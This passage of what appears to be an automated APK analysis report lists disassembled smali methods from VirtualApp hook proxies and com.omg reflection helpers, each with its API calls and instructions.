                              30invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              31move-result v0
                              32if-nez v0, :cond_6
                              33add-int/lit8 v0, v1, 0x1
                              34move v1, v0
                              35goto/16 :goto_9
                              36cond_21: const/4 v1, -0x1
                              37goto/16 :goto_6
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Boolean.booleanValue
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              2aget-object v0, p3, v4
                              3check-cast v0, Ljava/lang/String;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$SetNotificationsEnabledForPackage;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v1
                              10if-eqz v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14: const-class v1, Ljava/lang/Boolean;
                              17invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              18move-result v1
                              19aget-object v1, p3, v1
                              20check-cast v1, Ljava/lang/Boolean;
                              22invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                              23move-result v1
                              25invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              26move-result-object v2
                              28invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$SetNotificationsEnabledForPackage;->getAppUserId()I
                              29move-result v3
                              31invoke-virtual {v2, v0, v1, v3}, Lcom/lody/virtual/client/ipc/VNotificationManager;->setNotificationsEnabledForPackage(Ljava/lang/String;ZI)V
                              33invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              34move-result-object v0
                              35goto/16 :goto_13
                              Cross References
                              APIs
                              • java.io.File.getPath
                              • android.util.DisplayMetrics.<init>
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$ApkParser;->b()Ljava/lang/reflect/Method;
                              3move-result-object v0
                              5invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$ApkParser;->a()Ljava/lang/Object;
                              6move-result-object v1
                              7const/4 v2, 0x4
                              8new-array v2, v2, [Ljava/lang/Object;
                              9const/4 v3, 0x0
                              10aput-object p1, v2, v3
                              11const/4 v3, 0x1
                              13invoke-virtual {p1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              14move-result-object v4
                              15aput-object v4, v2, v3
                              16const/4 v3, 0x2
                              17new-instance v4, Landroid/util/DisplayMetrics;
                              19invoke-direct {v4}, Landroid/util/DisplayMetrics;-><init>()V
                              20aput-object v4, v2, v3
                              21const/4 v3, 0x3
                              22const/4 v4, 0x7
                              24invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              25move-result-object v4
                              26aput-object v4, v2, v3
                              28invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              29move-result-object v0
                              30check-cast v0, Landroid/content/pm/PackageParser$Package;
                              31goto_2b: return-object v0
                              32catch_2c: move-exception v0
                              33const/4 v0, 0x0
                              34goto/16 :goto_2b
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4check-cast v0, Ljava/util/List;
                              6invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              7move-result-object v2
                              8cond_a:
                              9invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              10move-result v1
                              11if-eqz v1, :cond_2b
                              13invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              14move-result-object v1
                              15check-cast v1, Landroid/app/ActivityManager$RunningTaskInfo;
                              17invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              18move-result-object v3
                              19iget v4, v1, Landroid/app/ActivityManager$RunningTaskInfo;->id:I
                              21invoke-virtual {v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getTaskInfo(I)Lcom/lody/virtual/remote/AppTaskInfo;
                              22move-result-object v3
                              23if-eqz v3, :cond_a
                              25iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->topActivity:Landroid/content/ComponentName;
                              26iput-object v4, v1, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                              28iget-object v3, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              29iput-object v3, v1, Landroid/app/ActivityManager$RunningTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              30goto/16 :goto_a
                              31cond_2b: return-object v0
                              Cross References
                              APIs
                              • java.lang.Class.forName
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              4move-result-object v1
                              6invoke-static {v1, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              7move-result-object v1
                              8if-eqz v1, :cond_19
                              9const/4 v2, 0x1
                              11invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              12if-nez p2, :cond_1a
                              13const/4 v2, 0x0
                              14const/4 v3, 0x0
                              15new-array v3, v3, [Ljava/lang/Object;
                              17invoke-virtual {v1, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18move-result-object v0
                              19cond_19: return-object v0
                              20cond_1a: const/4 v2, 0x0
                              22invoke-virtual {v1, v2, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23try_end_1e: move-result-object v0
                              24goto/16 :goto_19
                              25catch_20: move-exception v1
                              27const-string v2, ""
                              29invoke-static {v2, v1}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              30goto/16 :goto_19
                              APIs
                              • java.lang.Class.forName
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3try_start_2:
                              4invoke-static {p0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              5move-result-object v2
                              7invoke-static {v2, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              8move-result-object v2
                              9if-eqz v2, :cond_25
                              10const/4 v3, 0x1
                              12invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              13if-nez p2, :cond_1a
                              14const/4 v3, 0x0
                              15const/4 v4, 0x0
                              16new-array v4, v4, [Ljava/lang/Object;
                              18invoke-virtual {v2, v3, v4}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              19goto_19: return v0
                              20cond_1a: const/4 v3, 0x0
                              22invoke-virtual {v2, v3, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23try_end_1e: goto/16 :goto_19
                              24catch_1f: move-exception v0
                              26const-string v2, ""
                              28invoke-static {v2, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              29cond_25: move v0, v1
                              30goto/16 :goto_19
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              3move-result-object v0
                              5invoke-static {v0, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              6move-result-object v0
                              7if-eqz v0, :cond_23
                              8const/4 v1, 0x1
                              10invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              11if-nez p2, :cond_18
                              12const/4 v1, 0x0
                              13new-array v1, v1, [Ljava/lang/Object;
                              15invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17goto_17: return-object v0
                              18cond_18:
                              19invoke-virtual {v0, p0, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              20try_end_1b: move-result-object v0
                              21goto/16 :goto_17
                              22catch_1d: move-exception v0
                              24const-string v1, ""
                              26invoke-static {v1, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              27cond_23: const/4 v0, 0x0
                              28goto/16 :goto_17
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3try_start_2:
                              4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              5move-result-object v2
                              7invoke-static {v2, p1, p3}, Lcom/omg/event/utils/ReflacUtlis;->getMethod(Ljava/lang/Class;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              8move-result-object v2
                              9if-eqz v2, :cond_23
                              10const/4 v3, 0x1
                              12invoke-virtual {v2, v3}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              13if-nez p2, :cond_19
                              14const/4 v3, 0x0
                              15new-array v3, v3, [Ljava/lang/Object;
                              17invoke-virtual {v2, p0, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18goto_18: return v0
                              19cond_19:
                              20invoke-virtual {v2, p0, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              21try_end_1c: goto/16 :goto_18
                              22catch_1d: move-exception v0
                              24const-string v2, ""
                              26invoke-static {v2, v0}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              27cond_23: move v0, v1
                              28goto/16 :goto_18
                              APIs
                              • java.lang.reflect.Field.get
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Field.set
                              Position Instruction Meta Information
                              0.prologue
                              2sget-object v0, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->st_uid:Ljava/lang/reflect/Field;
                              4invoke-virtual {v0, p4}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Ljava/lang/Integer;
                              8invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              9move-result v0
                              11invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              12move-result-object v1
                              14invoke-virtual {v1}, Lcom/lody/virtual/client/core/VirtualCore;->myUid()I
                              15move-result v1
                              16if-ne v0, v1, :cond_23
                              18sget-object v0, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->st_uid:Ljava/lang/reflect/Field;
                              20invoke-static {}, Lcom/lody/virtual/client/hook/proxies/libcore/MethodProxies$Stat;->getBaseVUid()I
                              21move-result v1
                              23invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              24move-result-object v1
                              26invoke-virtual {v0, p4, v1}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              27cond_23: return-object p4
                              Cross References
                              APIs
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • com.lody.virtual.helper.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {p0}, Lcom/lody/virtual/helper/utils/Reflect;->accessible(Ljava/lang/reflect/AccessibleObject;)Ljava/lang/reflect/AccessibleObject;
                              4invoke-virtual {p0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              5move-result-object v0
                              7sget-object v1, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                              8if-ne v0, v1, :cond_13
                              10invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              12invoke-static {p1}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              13move-result-object v0
                              14goto_12: return-object v0
                              15cond_13:
                              16invoke-virtual {p0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              17move-result-object v0
                              19invoke-static {v0}, Lcom/lody/virtual/helper/utils/Reflect;->on(Ljava/lang/Object;)Lcom/lody/virtual/helper/utils/Reflect;
                              20try_end_1a: move-result-object v0
                              21goto/16 :goto_12
                              22catch_1c: move-exception v0
                              23new-instance v1, Lcom/lody/virtual/helper/utils/ReflectException;
                              25invoke-direct {v1, v0}, Lcom/lody/virtual/helper/utils/ReflectException;-><init>(Ljava/lang/Throwable;)V
                              26throw v1
                              Cross References
                              APIs
                              • java.lang.reflect.Method.getReturnType
                              • java.lang.Void.TYPE:Ljava/lang/Class
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • com.omg.event.utils.ReflectException.<init>
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {p0}, Lcom/omg/event/utils/Reflect;->accessible(Ljava/lang/reflect/AccessibleObject;)Ljava/lang/reflect/AccessibleObject;
                              4invoke-virtual {p0}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              5move-result-object v0
                              7sget-object v1, Ljava/lang/Void;->TYPE:Ljava/lang/Class;